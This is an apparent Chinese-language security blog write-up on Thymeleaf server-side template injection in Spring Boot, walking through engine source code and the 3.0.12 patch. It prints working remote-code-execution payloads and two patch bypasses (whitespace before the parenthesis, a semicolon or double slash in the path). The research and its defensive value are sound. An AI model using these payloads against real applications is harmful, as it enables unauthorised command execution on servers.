前段时间补上了迟迟没有写的 文件包含漏洞原理与实际案例介绍一文,在其中就提到了 Thymeleaf SSTI 漏洞,昨天在赛博群里三梦师傅扔了一个随手挖的 CVE——Thymeleaf SSTI Bypass,想着之前项目的代码还没清理,一起分析来看看
Thymeleaf 是与 java 配合使用的一款服务端模板引擎,也是 Spring 官方支持的一款服务端模板引擎。而 SSTI 最初是由 James Kettle 提出研究,Emilio Pinna 对他的研究进行了补充,不过这些作者都没有对 Thymeleaf 进行 SSTI 相关的漏洞研究工作,后来 Aleksei Tiurin 在 ACUNETIX 的官方博客上发表了关于 Thymeleaf SSTI 的文章,因此 Thymeleaf SSTI 逐渐被安全研究者关注。
为了更方便读者理解这个 Bypass,因此在这里简单说一遍一些基础性的内容,如果了解的,可以直接跳到 0x03 的内容。
Thymeleaf 表达式可以有以下类型:
${...}:变量表达式 —— 通常在实际应用,一般是OGNL表达式或者是 Spring EL,如果集成了Spring的话,可以在上下文变量(context variables )中执行*{...}: 选择表达式 —— 类似于变量表达式,区别在于选择表达式是在当前选择的对象而不是整个上下文变量映射上执行。#{...}: Message (i18n) 表达式 —— 允许从外部源(比如.properties文件)检索特定于语言环境的消息@{...}: 链接 (URL) 表达式 —— 一般用在应用程序中设置正确的 URL/路径(URL重写)。~{...}:片段表达式 —— Thymeleaf 3.x 版本新增的内容,分段段表达式是一种表示标记片段并将其移动到模板周围的简单方法。 正是由于这些表达式,片段可以被复制,或者作为参数传递给其他模板等等实际上,Thymeleaf 出现 SSTI 问题的主要原因也正是因为这个片段表达式,我们知道片段表达式语法如下:
~{templatename::selector},会在/WEB-INF/templates/目录下寻找名为templatename的模版中定义的fragment如有一个 html 文件的代码如下:
<!DOCTYPE html>
<html xmlns:th="http://www.thymeleaf.org">
<body> <div th:fragment="banquan"> © 2021 ThreeDream yyds</div>
</body>
</html>然后在另一template中可以通过片段表达式引用该片段:
<div th:insert="~{footer :: banquan}"></div>th:insert和th:replace:插入片段是比较常见的用法
~{templatename},引用整个templatename模版文件作为fragment这个也比较好理解,不做详细举例
~{::selector} 或 ~{this::selector},引用来自同一模版文件名为selector的fragmnt在这里,selector可以是通过th:fragment定义的片段,也可以是类选择器、ID选择器等。
~{}**片段表达式中出现**::**,那么 ::**后需要有值(也就是**selector**)**在了解这些内容后,我们就可以正式来看这个漏洞是怎么一回事了。
首先,同样的,我们拿一个常见的例子:
@GetMapping("/admin")
public String path(@RequestParam String language)
{
return "language/" + language + "/admin";
}这是 SpringBoot 项目中某个控制器的部分代码片段,thymeleaf 的目录如下:

从代码逻辑中基本上可以判断,这实际上是一个语言界面选择的功能,如果是中文阅读习惯者,那么会令language参数为cn,如果是英文阅读习惯者,那么会令language参数为en,代码逻辑本身实际上是没有什么问题的,但是这里采用的是 thymeleaf 模板,就出现了问题。
在springboot + thymeleaf 中,如果视图名可控,就会导致漏洞的产生。其主要原因就是在控制器中执行 return 后,Spring 会自动调度 Thymeleaf 引擎寻找并渲染模板,在寻找的过程中,会将传入的参数当成SpEL表达式执行,从而导致了远程代码执行漏洞。
thymeleaf 渲染的流程如下:


所以可以跟进renderFragment()来看看如何解析模板名称的:

核心代码我复制了出来:
protected void renderFragment(Set<String> markupSelectorsToRender, Map<String, ?> model, HttpServletRequest request, HttpServletResponse response) throws Exception {
String templateName;
Set<String> markupSelectors, processMarkupSelectors;
ServletContext servletContext = getServletContext();
String viewTemplateName = getTemplateName();
ISpringTemplateEngine viewTemplateEngine = getTemplateEngine();
...
if (!viewTemplateName.contains("::")) {
templateName = viewTemplateName;
markupSelectors = null;
} else {
IStandardExpressionParser parser = StandardExpressions.getExpressionParser(configuration);
FragmentExpression fragmentExpression;
try {
fragmentExpression = (FragmentExpression)parser.parseExpression(context, "~{" + viewTemplateName + "}");
} catch (TemplateProcessingException var25) {
throw new IllegalArgumentException("Invalid template name specification: '" + viewTemplateName + "'");
}
...可以发现,这里将模板名称(viewTemplateName) 进行拼接 "~{" + viewTemplateName + "}",然后使用parseExpression进行解析,继续跟进parseExpression就可以发现

会通过EngineEventUtils.computeAttributeExpression将属性计算成表达式:

然后再进行预处理(预处理是在正常表达式之前完成的执行,可以理解成预处理就解析并执了行表达式),最终执行了表达式。
效果如下:

http://127.0.0.1:8080/admin?language=__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("whoami").getInputStream()).next()}__::.k这个 POC 为什么这样构造呢?
前文在介绍renderFragment函数的时候我们提到,renderFragment在解析模板名称的时候会将模板名称进行拼接 "~{" + viewTemplateName + "}",然后使用parseExpression进行解析,我们跟进parseExpression

进入org.thymeleaf.standard.expression StandardExpressionParser.java中的 parseExpression方法:

(preprocess? StandardExpressionPreprocessor.preprocess(context, input) : input);可以发现对表达式进行了preprocess预处理,跟进该方法:


preprocess预处理会解析出__xx__中间的部分作为表达式
如果 debug 可以发现,该表达式最终在org.thymeleaf.standard.expression.VariableExpression.executeVariableExpression()中作为 SpEL表达式执行。

因此 POC 中我们要构造形如__xx__的SpEL表达式(SpEL相关的知识点可以参考此文:SPEL 表达式注入漏洞深入分析),即表达式要为:__${xxxxx}__ 这种形式
那么为什么后面还有带有::呢?
因为renderFragment中的判断条件:
if (!viewTemplateName.contains("::")) {即只有当模板名包含::时,才能够进入到parseExpression,也才会将其作为表达式去进行执行。
至于 POC 最后的.k,我们在最开始的提到了:
当
~{}片段表达式中出现::,那么::后需要有值(也就是selector)
因此,最终 POC 的形式就为:__${xxxx}__::.x
实际上,只有3.x版本的Thymeleaf 才会受到影响,因为在2.x 中renderFragment的核心处理方法是这样的:
protected void renderFragment(Set<String> markupSelectorsToRender, Map<String, ?> model, HttpServletRequest request, HttpServletResponse response) throws Exception {
...
Configuration configuration = viewTemplateEngine.getConfiguration();
ProcessingContext processingContext = new ProcessingContext(context);
templateCharacterEncoding = getStandardDialectPrefix(configuration);
StandardFragment fragment = StandardFragmentProcessor.computeStandardFragmentSpec(configuration, processingContext, viewTemplateName, templateCharacterEncoding, "fragment");
if (fragment == null) {
throw new IllegalArgumentException("Invalid template name specification: '" + viewTemplateName + "'");
}
...并没有3.x 版本中对于片段表达式(~{)的处理,也因此不会造成 SSTI 漏洞,以下是 SpringBoot 默认引用的 thymeleaf 版本
spring boot:1.5.1.RELEASE spring-boot-starter-thymeleaf:2.1.5 spring boot:2.0.0.RELEASE spring-boot-starter-thymeleaf:3.0.9 spring boot:2.2.0.RELEASE spring-boot-starter-thymeleaf:3.0.11
针对上文中的问题,Thymeleaf 实际上做了修复:

在 3.0.12 版本,Thymeleaf 在 util目录下增加了一个名为SpringStandardExpressionUtils.java的文件:

在该文件中,就有说明:

当调用表达式的时候,会经过该函数的判断:

来看看该函数:
public static boolean containsSpELInstantiationOrStatic(final String expression) {
final int explen = expression.length();
int n = explen;
int ni = 0; // index for computing position in the NEW_ARRAY
int si = -1;
char c;
while (n-- != 0) {
c = expression.charAt(n);
if (ni < NEW_LEN
&& c == NEW_ARRAY[ni]
&& (ni > 0 || ((n + 1 < explen) && Character.isWhitespace(expression.charAt(n + 1))))) {
ni++;
if (ni == NEW_LEN && (n == 0 || !Character.isJavaIdentifierPart(expression.charAt(n - 1)))) {
return true; // we found an object instantiation
}
continue;
}
if (ni > 0) {
n += ni;
ni = 0;
if (si < n) {
// This has to be restarted too
si = -1;
}
continue;
}
ni = 0;
if (c == ')') {
si = n;
} else if (si > n && c == '('
&& ((n - 1 >= 0) && (expression.charAt(n - 1) == 'T'))
&& ((n - 1 == 0) || !Character.isJavaIdentifierPart(expression.charAt(n - 2)))) {
return true;
} else if (si > n && !(Character.isJavaIdentifierPart(c) || c == '.')) {
si = -1;
}
}
return false;
}可以看到其主要逻辑是首先 倒序检测是否包含 wen关键字、在(的左边的字符是否是T,如包含,那么认为找到了一个实例化对象,返回true,阻止该表达式的执行。

因此要绕过这个函数,只要满足三点:
1、表达式中不能含有关键字new
2、在(的左边的字符不能是T
3、不能在T和(中间添加的字符使得原表达式出现问题
三梦师傅给出的答案是%20(空格),在我研究中发现其实还有%0a(换行)、%09(制表符),此外,通过 fuzzing 同样可以找到很多可以利用的字符:

有兴趣的朋友可以自己测试还有哪些可以绕过
需要注意的是,这种绕过方式针对的情景是当传入的路径名可控时,如:






这里有一个点需要注意,可以看到上面一个图片中 path 和返回的视图名不一样,path 为/admin/*,返回的视图名为language/cn/*,但当 path 和返回的视图名一样的时候,如下:

实际上上述payload 是没有用的

为什么呢?
实际上在 3.0.12 版本,除了加了SpringStandardExpressionUtils.java,同样还增加了 SpringRequestUtils.java文件:

并且看其描述:

如果视图名称包含在 URL 的路径或参数中,请避免将视图名称作为片段表达式执行
意思就是如果视图的名字和 path 一致,那么就会经过SpringRequestUtils.java中的checkViewNameNotInRequest函数检测:

可以看到,如果requestURI不为空,并且不包含vn的值,即可进入判断,从而经过checkViewNameNotInRequest的“良民”认证。
首先按照上文中的 Poc:__${T%20(java.lang.Runtime).getRuntime().exec(%22open%20-a%20calculator%22)}__::.x/

我们可以得到 vn 的值为home/__${t(java.lang.runtime).getruntime().exec("open-acalculator")}__::.x

既然vn的值确定下来,那么接下来只要令requestURI.contains(vn)为假,就能达到我们的目的
contains 区分大小写,那么……
别想了,因为 pack 方法已经经过了toLowerCase处理

那么是不是么办法了?答案是否定的(废话,三梦师傅给出了答案)
我们先看requestURI是怎么来的:

跟进unescapeUriPath方法:

跟进unescapeUriPath方法:

调用了UriEscapeUtil.unescape,跟进:

该函数首先检测传入的字符中是否是%(ESCAPE_PREFIX)或者+,如果是,那么进行二次处理:
+转义成空格%的数量大于一,需要一次将它们全部转义处理完毕后,将处理后的字符串返还回
如果实际不需要unescape,那么不经过处理,直接返回原始字符串对象
最终,就得到了requestURI
貌似,也没啥特殊的地方
既然没有特殊的地方,那么我们只需要思考,如何从正面令requestURI.contains(vn)为假,即令requestURI不等于home/__${t(java.lang.runtime).getruntime().exec("open-acalculator")}__::.x即可
这件事本质是令两个字符串不相等,并且要满足路由条件(/home/*路径下)
那么结论就来了
Bypass 技巧 1:
这也是三梦师傅在群里提到的
home;/__${t(java.lang.runtime).getruntime().exec("open-acalculator")}__::.x
只需要在 home 的后面加上一个分号即可
这是因为在 SpringBoot 中,SpringBoot 有一个功能叫做矩阵变量,默认是禁用状态:

如果发现路径中存在分号,那么会调用removeSemicolonContent方法来移除分号

这样一来使得传入的字符和vn不相同,并且又满足路由条件!成功绕过checkViewNameNotInRequest的检测

Bypass 技巧 2:
这个 Bypass 是我分析的时候想到的,前面也提到了,我们的实际目标就是令两个字符串不相等,并且要满足路由条件(/home/*路径下),那么:
home//__{t(java.lang.runtime).getruntime().exec("open-acalculator")}__::.x和home/__

最后提一点,实际上 payload 中不能含有/,否则会执行不成功:

原因其实就是路由条件不相等,因为解析器看来是这样的路径
/home;/__${T (java.lang.Runtime).getRuntime().exec("open -a /System /Applications /Calculator.app")}__::.x/
遗憾的是,这 Bypass Thymeleaf 官方并没有给三梦师傅分配 CVE,和三梦师傅讨论认为,Thymeleaf 认为这是开发者需要注意到的地方(因为 return 的内容是由开发者控制,开发者应当注意这个问题),不过这个理由牵不牵强,就只能自己领会了
实际上由于时间问题,还有一些内容没有横向扩展,比如,当不 return 的时候:

能否 Bypass?
当模板内容可控的时候:


又能否 Bypass?
此外,java 常用的其他模板引擎,如 Velocity、Freemarker、Pebble 和 Jinjava 是否存在类似问题?
这些问题在我有时间的时候会尝试去解决,也同时欢迎其他师傅共同分析思考这些问题
项目源码我也已经上传到 GitHub 上了,有兴趣可以自己搭建看看,虽然很简单,但是可以省去复制代码的时间了